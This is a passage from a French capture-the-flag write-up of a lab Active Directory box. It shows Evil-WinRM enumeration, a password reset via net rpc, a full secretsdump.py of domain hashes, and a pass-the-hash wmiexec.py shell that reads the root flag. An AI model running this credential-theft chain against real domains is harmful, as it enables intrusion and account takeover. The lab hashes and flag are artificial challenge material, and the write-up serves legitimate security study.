*Evil-WinRM* PS C:\Users\xkate578\Documents> $acl.Access | ForEach-Object {
    [PSCustomObject]@{
        IdentityReference = $_.IdentityReference
        AccessControlType = $_.AccessControlType
        IsInherited = $_.IsInherited
        PropagationFlags = $_.PropagationFlags
        RegistryRights = $_.RegistryRights # This is the key change!
    }
} | Format-Table -AutoSize

IdentityReference                                                                                    AccessControlType IsInherited PropagationFlags                          RegistryRights
-----------------                                                                                    ----------------- ----------- ----------------                          --------------
NT AUTHORITY\Authenticated Users                                                                                 Allow        True             None                                 ReadKey
NT AUTHORITY\Authenticated Users                                                                                 Allow        True      InheritOnly                             -2147483648
BUILTIN\Server Operators                                                                                         Allow        True             None SetValue, CreateSubKey, Delete, ReadKey
BUILTIN\Server Operators                                                                                         Allow        True      InheritOnly                             -1073676288
BUILTIN\Administrators                                                                                           Allow        True             None                             FullControl
BUILTIN\Administrators                                                                                           Allow        True      InheritOnly                               268435456
NT AUTHORITY\SYSTEM                                                                                              Allow        True             None                             FullControl
NT AUTHORITY\SYSTEM                                                                                              Allow        True      InheritOnly                               268435456
CREATOR OWNER                                                                                                    Allow        True      InheritOnly                               268435456
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES                                                           Allow        True             None                                 ReadKey
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES                                                           Allow        True      InheritOnly                             -2147483648
S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681             Allow        True             None                                 ReadKey
S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681             Allow        True      InheritOnly                             -2147483648

Ah ! Il n’est pas question de DNSADMINS ici et je n’ai pas de droits sur le groupe Server Operators. La poisse !

Sans conviction, je me suis dirigé vers le groupe EVENT LOG READERS et cherché des erreurs de connexion dans les logs, des fois que quelqu’un rentre son mot de passe dans le champ prévu pour le nom d’utilisateur :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ *Evil-WinRM* PS C:\Program Files (x86)> Get-WinEvent -LogName Security -ErrorAction SilentlyContinue | Where-Object {
    # First, filter by Event ID
    $_.Id -eq 4625 -and
    # Then, filter by message content for the specific sub status or failure reason
    ($_.Message -like "*Sub Status: 0xC0000064*" -or $_.Message -like "*Unknown user name or bad password*")
} | Select-Object -Property TimeCreated,Id,LevelDisplayName,@{Name='AccountName';Expression={$_.Properties[5].Value}},@{Name='FailureReason';Expression={$_.Properties[8].Value}},@{Name='Status';Expression={$_.Properties[9].Value}},@{Name='SubStatus';Expression={$_.Properties[10].Value}},Message | Format-Table -AutoSize

TimeCreated             Id LevelDisplayName AccountName                FailureReason      Status SubStatus Message
-----------             -- ---------------- -----------                -------------      ------ --------- -------
6/19/2025 4:36:44 PM  4625 Information      SOUPEDECODE.LOCAL/XKATE578 %%2313        -1073741724         3 An account failed to log on....
6/18/2025 5:53:05 PM  4625 Information      charlie                    %%2313        -1073741718         3 An account failed to log on....
6/18/2025 5:25:34 PM  4625 Information      charlie                    %%2313        -1073741718         3 An account failed to log on....
6/18/2025 5:21:57 PM  4625 Information      charlie                    %%2313        -1073741718         3 An account failed to log on....
6/18/2025 5:21:50 PM  4625 Information      charlie                    %%2313        -1073741718         3 An account failed to log on....
6/18/2025 5:21:31 PM  4625 Information      charlie                    %%2313        -1073741718         3 An account failed to log on....
6/18/2025 5:18:42 PM  4625 Information      guest                      %%2313        -1073741718         3 An account failed to log on....
7/31/2024 10:59:02 PM 4625 Information      administrator              %%2313        -1073741724         3 An account failed to log on....
7/31/2024 10:59:02 PM 4625 Information      administrator              %%2313        -1073741724         3 An account failed to log on....
7/31/2024 10:59:01 PM 4625 Information      administrator              %%2313        -1073741724         3 An account failed to log on....
--- snip ---
6/15/2024 11:45:54 AM 4625 Information      Administrator              %%2313        -1073741718         3 An account failed to log on....
6/15/2024 11:45:44 AM 4625 Information      Administrator              %%2313        -1073741718         3 An account failed to log on....
6/15/2024 11:45:34 AM 4625 Information      Administrator              %%2313        -1073741718         3 An account failed to log on....
6/15/2024 11:45:34 AM 4625 Information      Administrator              %%2313        -1073741718         3 An account failed to log on....
6/15/2024 11:29:53 AM 4625 Information      Administrator              %%2313        -1073741718         2 An account failed to log on....

Nope !

You must be kidding

La solution finalement consistait à supprimer la VM et à l’importer une nouvelle fois. Cette fois le changement du mot de passe de fbeth103 marchait très bien :

1
2
$ net rpc password fbeth103 -U SOUPEDECODE.LOCAL/xkate578%jesuschrist -S 192.168.56.117
Enter new password for fbeth103:

La raison du blocage m’est totalement inconnu. De même, pourquoi ça fonctionne, reste assez obscur pour moi.

A priori fbeth103 fait partie du groupe Operators qui fait partie du groupe des administrateurs et comme cette appartenance n’est pas directe, alors on peut changer le mot de passe grâce à notre appartenance à acounts operator.

Cela n’empêche pas que d’après BloodHound, je n’avais pas de GenericAll dessus et d’ailleurs, il ne trouve aucun chemin entre xkate578 et Operators. La preuve que Windows, c’est complexe.

Dans tous les cas, une fois le mot de passe changé, on peut utiliser ce compte admin pour dumper les hashs :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ secretsdump.py SOUPEDECODE.LOCAL/fbeth103:hellothere@192.168.56.117
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
SOUPEDECODE\DC01$:aes256-cts-hmac-sha1-96:7dd1acdd3ada9367c1e9dee753deb4b1fdec59c97f5680191e2200c96a0e7daa
SOUPEDECODE\DC01$:aes128-cts-hmac-sha1-96:ed9dd09705dc0ff7040a307f4e00450a
SOUPEDECODE\DC01$:des-cbc-md5:15aec7f15e5e98fd
SOUPEDECODE\DC01$:plain_password_hex:b3b81e9e1c11a0b48f633487cfcd0739d4d662b1957d23beb277ca44c50865acf9d12ef28624068067237d4c2c36a282e3228eab9ef32a0c4b55c4b3237f4451f9f7067344576cf7d7cd3f2a7c80b949a2940295eee1c89721d14a25ba0c7590781efa4015c38ac5ca08cc42499a17f82faf2c6ff47ba29fabef92b768e33484ea031bc14740a5dceb345e39089470da4e17e0bcd8ede6b2405474e2a4d4e498f139f925c929afd9deb5b15589e521a03e19735af627bba238bd7298322231eb6eed795e94647a687fa18adac91ac7de7e510a395958c37335fe8f873aab114174284b260ac0ad9ab84afd9f0dd92725
SOUPEDECODE\DC01$:aad3b435b51404eeaad3b435b51404ee:87ff5e1a6fee88bbfc311971775168bd:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[*] NL$KM 
 0000   44 C5 ED CE F5 0E BF 0C  15 63 8B 8D 2F A3 06 8F   D........c../...
 0010   62 4D CA D9 55 20 44 41  75 55 3E 85 82 06 21 14   bM..U DAuU>...!.
 0020   8E FA A1 77 0A 9C 0D A4  9A 96 44 7C FC 89 63 91   ...w......D|..c.
 0030   69 02 53 95 1F ED 0E 77  B5 24 17 BE 6E 80 A9 91   i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2176416a80e4f62804f101d3a55d6c93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::
soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15:::
soupedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6:::
soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14:::
--- snip ---

Et avec le hash de l’admin du domaine, on peut se connecter au contrôleur et chopper le flag final :

1
2
3
4
5
6
7
8
9
$ wmiexec.py -hashes :2176416a80e4f62804f101d3a55d6c93 'SOUPEDECODE.LOCAL/Administrator'@192.168.56.117
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>cd users\administrator\desktop
C:\users\administrator\desktop>type root.txt
b8e59a7d4020792c412da75e589ff4fc
Cet article est sous licence CC BY 4.0 par l'auteur.